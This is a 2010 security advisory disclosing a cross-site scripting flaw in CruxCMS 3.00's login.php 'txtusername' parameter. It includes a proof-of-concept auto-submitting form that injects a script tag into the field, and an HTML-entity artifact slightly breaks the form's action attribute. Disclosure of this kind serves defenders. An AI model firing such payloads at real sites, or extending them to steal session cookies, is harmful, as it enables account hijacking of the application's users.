XSS vulnerability in CruxCMS

Vulnerability ID: HTB22446
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_cruxcms_1.html
Product: CruxCMS
Vendor: CruxSoftware
Vulnerable Version: 3.00 and Probably Prior Versions
Vendor Notification: 21 June 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/login.php" script to properly sanitize user-supplied input in "txtusername" POST parameter. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form method="POST" action="http://host/manager/login.php&quot; name="main">
<input type=hidden name=txtusername value='"><script>alert(document.cookie)</script>'>
<input type=hidden name=txtpassword value=''>
<input type=hidden name=cmdSubmit value='Submit'>
</form>
<script>
document.main.submit();
</script>